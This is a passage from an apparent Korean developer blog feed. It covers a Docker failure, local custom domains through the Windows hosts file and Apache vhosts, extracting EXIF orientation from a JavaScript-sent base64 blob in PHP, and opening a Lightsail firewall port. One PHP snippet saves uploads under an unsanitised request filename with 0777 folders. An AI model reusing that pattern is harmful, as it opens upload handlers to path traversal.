&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIMvSz/btrT5bGDYQY/5jjKRiBe1aCXZLs1DLdiA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIMvSz/btrT5bGDYQY/5jjKRiBe1aCXZLs1DLdiA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIMvSz/btrT5bGDYQY/5jjKRiBe1aCXZLs1DLdiA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIMvSz%2FbtrT5bGDYQY%2F5jjKRiBe1aCXZLs1DLdiA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;150&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;docker 삭제 및 재설치는 아래 포스팅에서 확인할수있다.&lt;br /&gt;&lt;a href=&quot;https://bug41.tistory.com/entry/Docker-Centos-%EC%97%90%EC%84%9C-Docker-%EC%99%84%EC%A0%84%ED%9E%88-%EC%82%AD%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://bug41.tistory.com/entry/Docker-Centos-%EC%97%90%EC%84%9C-Docker-%EC%99%84%EC%A0%84%ED%9E%88-%EC%82%AD%EC%A0%9C&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;아니 갑자기 잘되다가 왜 이런 문제에 봉착했는지 거참 ..&lt;br /&gt;내가 볼땐 컨테이너 생성하면서 브릿지 설정하면서 iptables 쪽이 꼬이면서 docker 가 뻑난거같은데&lt;br /&gt;정확한 이유는 사실 모르겠다 ..&lt;/p&gt;</description>
      <category>IT/Docker</category>
      <category>docker failed</category>
      <category>docker start failed</category>
      <category>도커 실행실패</category>
      <category>도커service failed</category>
      <category>도커실행</category>
      <category>도커에러</category>
      <category>도커오류</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/192</guid>
      <comments>https://bug41.tistory.com/entry/Docker-%EB%8F%84%EC%BB%A4-%EC%8B%A4%ED%96%89-%EC%8B%A4%ED%8C%A8-Failed-to-start-Docker-Application#entry192comment</comments>
      <pubDate>Mon, 19 Dec 2022 20:26:13 +0900</pubDate>
    </item>
    <item>
      <title>[Window+Apache] 로컬 커스텀도메인 설정 방법 , localhost customDomain</title>
      <link>https://bug41.tistory.com/entry/WindowApache-%EB%A1%9C%EC%BB%AC-%EC%BB%A4%EC%8A%A4%ED%85%80%EB%8F%84%EB%A9%94%EC%9D%B8-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95-localhost-customDomain</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에서 작업중인 프로젝트에 커스텀 도메인 넣어서 하는법을 포스팅 한다.&lt;br /&gt;아파치 같은 웹서버가 깔려있다는 가정하에 진행한다.&lt;br /&gt;&lt;br /&gt;시작 하기전에 hosts 라는 놈이 무슨 일을 하는지 간략하게 설명하자면 여기다 ip 주소 선언하고 어떤 도메인이든 써놓으면 곧이 곧대로 들어가진다.&lt;br /&gt;쉽게 말해서 내 로컬호스트에서 PHP 돌리고있고 hosts 파일에다가 &lt;a href=&quot;http://www.naver.com&quot;&gt;naver.com&amp;nbsp;&lt;/a&gt; 이라고 도메인 접속하면&lt;br /&gt;찐 네이버가 아니라 내 로컬 컴퓨터의 PHP 사이트를 띄운다는 소리다.&lt;br /&gt;&lt;br /&gt;여튼 hosts 파일 설정하는 방법은 별거 없다 메모장이나 텍스트 에디터 파일 &quot;관리자 권한&quot; 으로 열어서 수정하면된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로 : C:\Windows\System32\drivers\etc&lt;/p&gt;
&lt;pre id=&quot;code_1669870590535&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost

127.0.0.1	localhost
::1	localhost
127.0.0.1	test.tw
::1	test.tw
127.0.0.1	shop.test.tw
::1	test.hangloo.tw

# 127.0.0.1 naver.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약에 위처럼 서브 도메인(shop)으로 추가해서 작업하고싶으면 IP 는 똑같이 두되 , apache httpd-vhosts 파일에서 수정을 해줘야한다.&lt;br /&gt;나는 xampp 를 깔아서 경로가 이런것이고 혹 xampp 가 아닌 별도로 아파치를 설치했다면 설치한 경로로 찾아가서 conf 폴더 뒤져보면 된다.&lt;br /&gt;&lt;br /&gt;경로 : C:\xampp\apache\conf\extra\httpd-vhosts.conf&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1669870713954&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Virtual Hosts
#
# Required modules: mod_log_config

# If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at 
# &amp;lt;URL:http://httpd.apache.org/docs/2.4/vhosts/&amp;gt;
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.

#
# Use name-based virtual hosting.
#
##NameVirtualHost *:80
#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for all requests that do not
# match a ##ServerName or ##ServerAlias in any &amp;lt;VirtualHost&amp;gt; block.
#
##&amp;lt;VirtualHost *:80&amp;gt;
    ##ServerAdmin webmaster@dummy-host.example.com
    ##DocumentRoot &quot;/xampp/htdocs/dummy-host.example.com&quot;
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog &quot;logs/dummy-host.example.com-error.log&quot;
    ##CustomLog &quot;logs/dummy-host.example.com-access.log&quot; common
##&amp;lt;/VirtualHost&amp;gt;

##&amp;lt;VirtualHost *:80&amp;gt;
    ##ServerAdmin webmaster@dummy-host2.example.com
    ##DocumentRoot &quot;/xampp/htdocs/dummy-host2.example.com&quot;
    ##ServerName dummy-host2.example.com
    ##ErrorLog &quot;logs/dummy-host2.example.com-error.log&quot;
    ##CustomLog &quot;logs/dummy-host2.example.com-access.log&quot; common
##&amp;lt;/VirtualHost&amp;gt;


&amp;lt;VirtualHost *:80&amp;gt;
    ServerAdmin my@example.com
    DocumentRoot &quot;C:\web_developer\myProject&quot;
    ServerName test.tw
    DirectoryIndex index.php
    ErrorLog &quot;logs/dummy-host.example.com-error.log&quot;
    CustomLog &quot;logs/dummy-host.example.com-access.log&quot; common
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
    ServerAdmin my@example.com
    DocumentRoot &quot;C:\web_developer\myProject\shop&quot;
    ServerName shop.test.tw
    DirectoryIndex index.php
    ErrorLog &quot;logs/dummy-host.example.com-error.log&quot;
    CustomLog &quot;logs/dummy-host.example.com-access.log&quot; common
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>hosts 관리자권한</category>
      <category>hosts 작성방법</category>
      <category>hosts수정</category>
      <category>localhost apache</category>
      <category>localhost customdomain</category>
      <category>localhost 아파치 conf</category>
      <category>로컬호스트 커스텀도메인</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/191</guid>
      <comments>https://bug41.tistory.com/entry/WindowApache-%EB%A1%9C%EC%BB%AC-%EC%BB%A4%EC%8A%A4%ED%85%80%EB%8F%84%EB%A9%94%EC%9D%B8-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95-localhost-customDomain#entry191comment</comments>
      <pubDate>Thu, 1 Dec 2022 14:01:29 +0900</pubDate>
    </item>
    <item>
      <title>[EXIF] 이미지 회전 문제 Javascript -&amp;gt; PHP 로 보낸 blob 에서 EXIF 데이터 추출하기</title>
      <link>https://bug41.tistory.com/entry/EXIF-Javascript-PHP-%EB%A1%9C-%EB%B3%B4%EB%82%B8-blob-%EC%97%90%EC%84%9C-EXIF-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%B6%94%EC%B6%9C%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 회전되는 이슈가 있어서 이미지 등록이 진행되는 부분에서 EXIF 값을 받아와야할일이 있었는데&lt;br /&gt;계속 못받아오네 ?&lt;br /&gt;javascript 에서 FileReader 를 이용해가지고 ajax 방식으로 blob 데이터를 php 쪽으로 보내는데 왜 못받아오는지 이해가 안갔다&lt;br /&gt;&lt;br /&gt;우선 javascript 부분에서 대충 아래와 같이 대충 action.php 에다가 ajax 방식으로 blob 값 보내주는거 있다고 치자&lt;/p&gt;
&lt;pre id=&quot;code_1669094490912&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;..중략

imageLoader = function(file,num) {

    sel_files.push(file);
    var reader = new FileReader();				

    reader.onload = function(ee) {        
        $.ajax({
            type: 'POST',
            url: '/action.php',
            data: $('#formData').serialize() + '&amp;amp;filedata='+ee.target.result+'&amp;amp;filename='+file.name,
            cache:false,global:false,async:true,
            dataType: 'json',
            beforeSend: function() {
                $('#loading').show(); 
            },
            success: function(data) {
                console.log(data);
                if(data.error == 'T') {
                    console.error(data.msg);
                } else {
                    console.log('처리완료');								
                }
                $('#loading').hide();
            }
        });					
    }
    reader.readAsDataURL(file);
}

..중략&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 EXIF 이용해서 javascript 단에서 orientation 확인하고싶으면 아래 소스 사용하면됨&lt;br /&gt;위에꺼랑 아래꺼 적당히 믹스해서 쓰면 된다.&lt;br /&gt;근데 나한테 문제는 이게 아니었다.&lt;/p&gt;
&lt;pre id=&quot;code_1669094526359&quot; class=&quot;xml&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://cdn.jsdelivr.net/npm/exif-js&quot;&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;script&amp;gt;
    EXIF.getData(file, () =&amp;gt; {
        const orientation = EXIF.getTag( file, &quot;Orientation&quot; );						
        switch( orientation ) {
            // 이미지 회전값이 0인경우 ( 정방향 )
            case 1 :
                document.getElementById( &quot;thumbnailImg&quot; ).style.transform = &quot;rotate( 0deg )&quot;;
                break;

            // 이미지 90도 회전 ( 오른쪽으로 270도 회전해야됨 )
            case 6 :
                document.getElementById( &quot;thumbnailImg&quot; ).style.transform = &quot;rotate( 270deg )&quot;;
                break;

            // 이미지 180도 회전 ( 오른쪽으로 180도 회전해야됨 )
            case 3 :
                document.getElementById( &quot;thumbnailImg&quot; ).style.transform = &quot;rotate( 180deg )&quot;;
                break;

            // 이미지 270도 회전 ( 오른쪽으로 90도 회전해야됨 )
            case 8 :
                document.getElementById( &quot;thumbnailImg&quot; ).style.transform = &quot;rotate( 90deg )&quot;;
                break;
        }						
    });
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에 blob 값이 분명히 잘 넘어왔는데 도대체 왜 PHP 단에서 exif 값이 안보이는건지 도무지 이해가 가지않았다.&lt;br /&gt;이거 때문에 별 삽질을 다해봤는데 우선 직접 이미지를 로컬에서 blob 값을 추출해보기도 해봤다.&lt;/p&gt;
&lt;pre id=&quot;code_1669094977291&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//참고로 아래처럼 넣으면 파일 인식 못해서 없다고 오류남, 꼭 url 로 넣어줘야됨 ㅋㅋ
//$blob = addslashes(file_get_contents('./KakaoTalk_20221103_173624744.png'));

/*
아래처럼 넣어주면 blob 값을 잘 갖고온다. 근데 addslashes 는 굳이 필요없어서 안해줘도됨
addslashes 는 문자열안에 mysql 이 뻑날수 있는 홀따옴표나 쌍따옴표 등 이 포함되있으면 앞에다
역슬래시 추가시켜주는 놈이다.
반대로 stripslashes 라는 놈도 있다.
*/
// $blob = addslashes(file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg'));

// 이미지 파일에서 blob 데이터 추출
$blob = file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg');

$exif = exif_read_data(&quot;data://image/jpeg;base64,&quot; . base64_encode($blob));

// 이미지 회전값 추출
echo $exif['Orientation'];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러면 잘 가져온다.&lt;br /&gt;근데 왜 넘긴 php 페이지에선 같은 이미지인데도 불구하고 orientation 을 못받아올까 ??&lt;br /&gt;&lt;br /&gt;도저히 이해가 안가서 심지어 두개 파일 length 비교까지 해봤는데 똑같더라 ㅋㅋㅋㅋ&lt;/p&gt;
&lt;pre id=&quot;code_1669095078274&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//로컬 파일 blob 길이
echo strlen(base64_encode(file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg')));


//javascript 에서 추출해서 넘긴 blob 길이
echo strlen($data['blob']);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눈으로 비교는 할수가없다 blob 파일 봤으면 알다시피 엄청나게 길다 ..&lt;br /&gt;괜히 잘못 불러왔다가 에디터 뻑날정도로 길다.&lt;br /&gt;&lt;br /&gt;결국 javascript 에서 넘긴거랑 PHP 자체에서 만든 blob 파일이랑 sublime text 에서 비교를 해봄&lt;br /&gt;오죽하면 이렇게까지 했겠어 ~&lt;br /&gt;여튼 보다보니 다른점이 보인다.&lt;br /&gt;&lt;br /&gt;javascript 에서는 19OleV E/C91a HriFL5 이런식으로 넘겨준다고 치면&lt;br /&gt;PHP 에서는 19OleV+E/C91a+HriFL5 이런식으로 넘겨진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3840&quot; data-origin-height=&quot;966&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UAsf1/btrRRPS3pNW/3Ek1SOPzqztaEzjWeEcWfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UAsf1/btrRRPS3pNW/3Ek1SOPzqztaEzjWeEcWfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UAsf1/btrRRPS3pNW/3Ek1SOPzqztaEzjWeEcWfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUAsf1%2FbtrRRPS3pNW%2F3Ek1SOPzqztaEzjWeEcWfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3840&quot; height=&quot;966&quot; data-origin-width=&quot;3840&quot; data-origin-height=&quot;966&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 javascript 로 넘겨진 blob 데이터 안의 내용물의 빈칸을 + 로 replace 해주면 되겠다는 생각이 들었다.&lt;/p&gt;
&lt;pre id=&quot;code_1669095403165&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//$data['mime'] 에는 'image/jpeg' , 'image/png' 같은 값들이 들어간다. 알아서 추출해서 넣어주면됨
$exif = exif_read_data(&quot;data://&quot;.$data['mime'].&quot;;base64,&quot; . str_replace(&quot; &quot;,&quot;+&quot;, $data['blob']));

echo $exif['Orientation'] . '아니 이게 뭐라고 ';
exit;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UBbAO/btrRNBhyHF8/yzxE5yF2tBNQo9lyULxyXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UBbAO/btrRNBhyHF8/yzxE5yF2tBNQo9lyULxyXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UBbAO/btrRNBhyHF8/yzxE5yF2tBNQo9lyULxyXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUBbAO%2FbtrRNBhyHF8%2FyzxE5yF2tBNQo9lyULxyXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;772&quot; height=&quot;337&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게 해주니 javascript 에서 넘겨준 blob 데이터에서도 exif 데이터를 잘 추출해오는것을 확인할수 있었다.&lt;br /&gt;되게 별거 아닌데 나를 좀 상당히 빡치게 해서 기록 남겨둔다..&lt;br /&gt;&lt;br /&gt;이제 받아오는 데이터 기준으로 Orientation 값 추출 할수있으니 내 입맛에 맞게 rotate 시켜주면 되겠다~&lt;/p&gt;
&lt;pre id=&quot;code_1669095502584&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(!empty($exif['Orientation']))
{
    switch($exif['Orientation'])
    {
        case 8:
            $image = imagerotate($image,90,0);
        break;
        case 3:
            $image = imagerotate($image,180,0);
        break;
        case 6:
            $image = imagerotate($image,-90,0);
        break;
    }
}
header('Content-type: image/jpeg');
imagejpeg($image);
imagedestroy($image);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이씨 이거 때문에 &lt;s&gt;개빡쳤네&lt;/s&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적으로 더 덧붙힘&lt;br /&gt;&lt;br /&gt;이미지 오리값도 가져왔겠다 이제 그걸 바꿔서 다시 설정해줘야하는데 어떻게 할까 ?&lt;br /&gt;보아하니 imagejpeg 이라는 함수가 바뀐 이미지를 저장해주는 역할을 해준다.&lt;br /&gt;그럼 아래 처럼 되지않을까 ??&lt;/p&gt;
&lt;pre id=&quot;code_1669099772585&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if($exif['Orientation']) {

    $source = imagecreatefromjpeg(&quot;data://&quot;.$data['mime'].&quot;;base64,&quot; . str_replace(&quot; &quot;,&quot;+&quot;, $data['blob']));

    switch($exif['Orientation']){
        case 8 : $source = imagerotate($source,90,0); break;
        case 3 : $source = imagerotate($source,-90,0); break; //기존에 -180 이었음
        case 6 : $source = imagerotate($source,-90,0); break;
    }
	
    //이미지 임시로 저장할 폴더 (회원번호별 폴더 생성)
    $path = &quot;./img/temp/&quot;.$data['id'];

	//해당 폴더 존재하지않으면 만듬
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }

	//거기다 저장해줌
    imagejpeg($source , $path.'/'.$_REQUEST['filename']);						

	//거기에 저장해준걸 다시 가져와서 blob 데이터로 변환함
    $data['blob'] = base64_encode(file_get_contents('http://localhost/images/'.$data['uid'].'/'.$_REQUEST['filename']));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 뭔가 상당히 비효율적이다.&lt;br /&gt;이미지를 굳이 임시로라도 저장을 해야하나 ? 난 저장하기 싫은데 ..?&lt;br /&gt;저장했다 쳐도 저거 나중에 또 날려줘야되잖아&lt;br /&gt;&lt;br /&gt;그래서 좀 더 찾아보니 더 좋은 방법이 있더라&lt;br /&gt;이미지 오리값 조정한거로 다시 저장하고 폴더 생성이고 뭐고 다 필요없고, 아래처럼 해주면 끝남&lt;/p&gt;
&lt;pre id=&quot;code_1669099831428&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ob_start();
imagejpeg($source);
$i = ob_get_clean(); 

$data['blob'] = base64_encode($i);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 정리하면 ob_start() 라는 녀석이 출력 버퍼링을 켜는 명령어이고, 이게 켜져있는동안 헤더를 제외한 모든 출력을 내부 버퍼에 저장하고 실제 전송을 하지않는다고한다.&lt;br /&gt;그리고 ob_get_clean 이라는놈이 출력 버퍼의 내용을 반환하고 , 버퍼링을 종료해서 저 $i 에 blob 값이 담긴다.&lt;/p&gt;</description>
      <category>IT/PHP</category>
      <category>$exif['Orientation']</category>
      <category>javascript php blob</category>
      <category>javascript php Orientation</category>
      <category>orientation</category>
      <category>php</category>
      <category>php blob</category>
      <category>php 이미지 blob 추출</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/190</guid>
      <comments>https://bug41.tistory.com/entry/EXIF-Javascript-PHP-%EB%A1%9C-%EB%B3%B4%EB%82%B8-blob-%EC%97%90%EC%84%9C-EXIF-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%B6%94%EC%B6%9C%ED%95%98%EA%B8%B0#entry190comment</comments>
      <pubDate>Tue, 22 Nov 2022 14:40:47 +0900</pubDate>
    </item>
    <item>
      <title>[AWS] Lightsail DB 접근 안될때 방화벽 설정 방법</title>
      <link>https://bug41.tistory.com/entry/AWS-Lightsail-DB-%EC%A0%91%EA%B7%BC-%EC%95%88%EB%90%A0%EB%95%8C-%EB%B0%A9%ED%99%94%EB%B2%BD-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;Lightsail 에 우분투 mysql 이 돌아가고있는데 연결툴 (ex. HeidiSql) 에서 접근이 안될때 해결방법이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QXCW9/btrQEHCcnly/YJJLpqYrSKtiiVgcfsmWL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QXCW9/btrQEHCcnly/YJJLpqYrSKtiiVgcfsmWL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QXCW9/btrQEHCcnly/YJJLpqYrSKtiiVgcfsmWL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQXCW9%2FbtrQEHCcnly%2FYJJLpqYrSKtiiVgcfsmWL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;176&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;상당히 간단하다.&lt;br /&gt;리눅스에 접근이 안되는 이유는 뭐 여러가지가 있겠지만 제일 높은 확률로 방화벽이 문제다.&lt;br /&gt;&lt;br /&gt;난 처음에 aws 개념이 아직 익숙치 않아서 lightsail ssh 접속해갖고 sudo sfw status 등 여러 뻘짓을 해봤으나&lt;br /&gt;command not found 나 뱉어내고 있고&lt;br /&gt;뭐야 이거 방화벽 아예 설치 안되있나 ? 안깔려있는데 이걸 어케 막아 ? 미친놈인가? 왜 나한테만 접근이 엄격한데 ? &lt;br /&gt;라는 생각을 하다가&lt;br /&gt;생각해보니 이런거 막아주려고 편하게 aws 쓰는것도 있지않냐 ? 라는 생각이 머릿속에 스쳐서 Lightsail 설정을 확인해봤더니 역시나 아니나 다를까 설정이 있더라&lt;br /&gt;&lt;br /&gt;&lt;b&gt;인스턴스 상세페이지 - 네트워킹&lt;br /&gt;하단에 IPv4 방화벽&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;861&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl4mG3/btrQGRdejgM/t5hVFFTLZFqsFjeRaagquk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl4mG3/btrQGRdejgM/t5hVFFTLZFqsFjeRaagquk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl4mG3/btrQGRdejgM/t5hVFFTLZFqsFjeRaagquk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl4mG3%2FbtrQGRdejgM%2Ft5hVFFTLZFqsFjeRaagquk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1313&quot; height=&quot;861&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;861&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;요놈이 핵심&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wrc1v/btrQDQffsJV/jY3pkfzPvp2o7N154YKyo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wrc1v/btrQDQffsJV/jY3pkfzPvp2o7N154YKyo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wrc1v/btrQDQffsJV/jY3pkfzPvp2o7N154YKyo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWrc1v%2FbtrQDQffsJV%2FjY3pkfzPvp2o7N154YKyo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;341&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;보다시피 , 3306 포트 허용해주는게 없다.&lt;br /&gt;한번 규칙을 추가해보자&lt;/p&gt;
